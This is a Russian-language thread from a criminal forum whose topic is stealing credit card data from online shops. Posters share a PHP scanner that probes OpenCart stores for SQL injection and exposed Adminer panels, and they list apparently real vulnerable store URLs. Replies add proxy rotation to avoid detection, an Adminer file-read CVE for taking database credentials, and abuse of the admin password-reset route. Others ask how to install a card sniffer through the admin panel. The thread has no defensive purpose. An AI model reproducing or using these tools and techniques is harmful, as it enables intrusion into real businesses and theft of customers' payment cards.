Все сделал также как тут написано, но на Винде, все равно пхп ругается, как то нету желания ради одного скрипта опять ленку ставить, кто разобрался на Винде пните что там к чему)
-
XSS.stack #1 – первый литературный журнал от юзеров форума
Статья Добываем CC из шопов.
- Автор темы 360
- Дата начала
А разве в пхп, curl не по умолчанию идет? Плюс этого метода, только в том что он использует мультикурл, точнее готовую библиотеку, но минус, в том что отсутствует поддержка прокси, а она есть! Ну вообщем для новечков, которые пытаются разобраться в этой теме, вполне пойдет!
P.S: Автору на заметку....
в пхп функции curl есть такая опция: curl_setopt($cl, CURLOPT_PROXY, $proxy);
т.е к примеру в твоем участке кода:
в опции можно прописать так:
$options = array(CURLOPT_TIMEOUT => 15, CURLOPT_PROXY => $proxy );
ну и в качестве самих прокси подключить файлик который по рэндому выбирал бы прокси.....
P.S: Автору на заметку....
в пхп функции curl есть такая опция: curl_setopt($cl, CURLOPT_PROXY, $proxy);
т.е к примеру в твоем участке кода:
PHP:
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new \RollingCurl\Request($url);
$request->setOptions($options);
$rollingCurl->add($request);
}в опции можно прописать так:
$options = array(CURLOPT_TIMEOUT => 15, CURLOPT_PROXY => $proxy );
ну и в качестве самих прокси подключить файлик который по рэндому выбирал бы прокси.....
Последнее редактирование:
дабы не плодить темы,подскажите как поставить сниффер через админку,через шел та понятно а вот через админку чет не могу понять,версия 2 и первая опенкарта,за ранее благодарю за помощь!
Актуально щас? И как вообще на винде запускал кто то?
Привет,
Как мы сейчас в 2021 версия php поменялась итд... Можешь сделать на этот год?
ТС был онлайн последний раз 11.09.2019. Не думаю что он обновит свою тему
Поставить локально уязвимую CMS и протестировать все шаги нар различных версиях PHP, ну и там в случае выявленных ошибок оптимизировать все это дело...
Хотя что тут менять? на рабочей машине ставите под чекер 5.6 версию и также все работать будет.
Да я собственно тут, тема разумеется рабочая. Не могу восстановить старый аккаунт. Упростил максимально код. На данном этапе публично могу выложить только в формате чекера.
Обновление:
В приватной версии:
Ну и по традиции немного результатов, есть с формами
Обновление:
В приватной версии:
PHP:
<?php
/* opencart security tool
.------..------..------..------.
|O.--. ||C.--. ||S.--. ||T.--. |
| :/\: || :/\: || :/\: || :/\: |
| :\/: || :\/: || :\/: || (__) |
| '--'O|| '--'C|| '--'S|| '--'T|
`------'`------'`------'`------'
* public version
*/
$adminer = array("url" => "/adminer.php","true" => '?file=favicon.ico');
$manufacturer = array("url" => "/index.php?route=product/manufacturer/info&manufacturer_id='", "true" => "syntax");
$product = array("url" => "/index.php?route=product/product&path=4_16&product_id=431'", "true" => "syntax;");
$search = array("url" => "/index.php?route=product/search&tag='", "true" => "syntax;");
$seo = array("url" => "/'", "true" => "syntax;");
$enquiry = array("url" => "/index.php?route=information/contact&enquiry='", "true" => "syntax;");
$journal3 = array("url" => "/index.php?route=journal3/product&product_id='", "true" => "syntax;");
$pav = array("url" => "/index.php?route=pavblog/blog&blog_id=160'", "true" => "syntax;");
$blog_list = array("url" => "/index.php?route=product/blog_list&blogger_id=11'", "true" => "syntax;");
$blog = array("url" => "/index.php?route=blog/blog&blog_id=140'", "true" => "syntax;");
function curl_me($url){
$curl = curl_init();
if (!$curl) die("Couldn't initialize a cURL handle");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, 'WithLoveFromXSS.is'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_FAILONERROR, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$html = curl_exec($curl);
return $html;
}
$list = file('wow.txt');
foreach($list as $target){
$target = trim($target);
//print '=> ' .$target. PHP_EOL;
if(stripos(curl_me($target.$adminer['url']), $adminer['true']) !== false) { print $target.$adminer['url']. PHP_EOL;}
if(stripos(curl_me($target.$manufacturer['url']), $manufacturer['true']) !== false) { print $target.$manufacturer['url']. PHP_EOL;}
if(stripos(curl_me($target.$product['url']), $product['true']) !== false) { print $target.$product['url']. PHP_EOL;}
if(stripos(curl_me($target.$search['url']), $search['true']) !== false) { print $target.$search['url']. PHP_EOL;}
if(stripos(curl_me($target.$seo['url']), $seo['true']) !== false) { print $target.$seo['url']. PHP_EOL;}
if(stripos(curl_me($target.$enquiry['url']), $enquiry['true']) !== false) {print $target.$enquiry['url']. PHP_EOL;}
if(stripos(curl_me($target.$journal3['url']), $journal3['true']) !== false) { print $target.$journal3['url']. PHP_EOL;}
if(stripos(curl_me($target.$pav['url']), $pav['true']) !== false) { print $target.$pav['url']. PHP_EOL;}
if(stripos(curl_me($target.$blog_list['url']), $blog_list['true']) !== false) { print $target.$blog_list['url']. PHP_EOL;}
if(stripos(curl_me($target.$blog['url']), $blog['true']) !== false) { print $target.$blog['url']. PHP_EOL;}
}Ну и по традиции немного результатов, есть с формами
Код:
http://hq-tech.com//index.php?route=product/product&path=4_16&product_id=431%27
tillsonburggunshop.com/adminer.php
xmasdvdset.com/'
leebhardnesstesters.com/adminer.php
sec-on.com/admin/:RESET: https://sec-on.com/index.php?route=product/manufacturer/info&manufacturer_id='
aqqfa.com/admin/:RESET: https://aqqfa.com/index.php?route=product/manufacturer/info&manufacturer_id='
Последнее редактирование:
Adminer до версии 4.6.3 включительно уязвим к CVE-2021-43008 - Adminer - Arbitrary file read
Фактически ты можешь прочитать конфиг для подключения к БД и авторизоватся в нее через этот-же адмайнер.
Фактически ты можешь прочитать конфиг для подключения к БД и авторизоватся в нее через этот-же адмайнер.
Так-же можешь поискать забытые бэкапы конфигов (~,bak,txt,php_), дефолтно конфиг к подключению к бд лежит в config.php и admin/config.php
GitHub - p0dalirius/CVE-2021-43008-AdminerRead: Exploit tool for CVE-2021-43008 Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability
Exploit tool for CVE-2021-43008 Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability - GitHub - p0dalirius/CVE-2021-43008-AdminerRead: Exploit tool for CVE-2021-43008 Adminer 1.0 up to 4.6.2 ...github.com
Последнее редактирование:
del
Последнее редактирование:
Метод ресета пароля уже не актуален. На почту отправляется вместе с кодом ресета токен, который не отображается в бд. При попытке зайти с ссылкой ниже кнопка forgiben password умирает и становится неактивной.
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJYУточни версию, ресет работает прекрасно, но в нем есть зашитая защита от брута. Стоит пару раз ввести не верный code, ресет отключается.
Вроде интересная статья, но я никак не пойму, где вы подбираете Гитхабовские проекты, особенно которые непопулярные, по типу этого?
Предложи варианты многопотока на php лучше, вопрос многопотока и php меня давно мучает.
Код 18-го года. Лучше вариантов не нашел чем RollingCurl. Из альтернатив был EvilCurl - модификация RollingCurl с поддержкой прокси.
Код 18-го года. Лучше вариантов не нашел чем RollingCurl. Из альтернатив был EvilCurl - модификация RollingCurl с поддержкой прокси.
Проверял на версии 3.0.3.7 в двух разных шопах.
Сразу с первой попытки кидает вместо ресета на страницу авторизации, убирая кнопку ресета. В админке опенкарта убирает галочку на Allow Forgotten Password
Пробовал:
1) захотить на ссылку ресета с разных браузеров, с пустыми куками и заполненными
2) менял таймзону под серв
После включения Allow Forgotten Password функция восстановления пароля работает как положено. НО, это у меня был доступ в админ панель, как же быть в боевых условиях, когда после первой же попытки метод умирает. Не понимаю, на чём меня фродит OpenCart
ТК в лабораторных условиях я просто не понимаю как снова сделать эту же ситуацию, чтобы меня выкинуло на авторизацию с первой попытки. Делал грязный ip, убирал куки, менял таймзону
Пропала кнопка "Сбросить пароль" в админке
Недавно создал свой сайт и столкнулся с проблемой в мою админку постоянно ломятся боты и из за этого я не могу зайти в свою админку, постоянно...
forum.opencart-russia.ru
Последнее редактирование:
great article
Я плохо читаю PHP. Прикрепляю код с сервера, который скинул меня на первой же попытке и закрыл форму ресета. Никаких анти фрауд модулей в шопе нет
Разобрался кажется. В oc_setting даже когда стоит в config_password 0 может появляться кнопка Forgotten Password. Прав ли я? Или меня меня фродил все таки OpenCart?
Был не прав, ресет и правда работает, дело было в баге OpenCart когда у меня отображалось forgiben password при значении config_password 0. В PoC AdminerRead указывается, что нужны креды от адмайнера, без кредов не получится, правильно понимаю?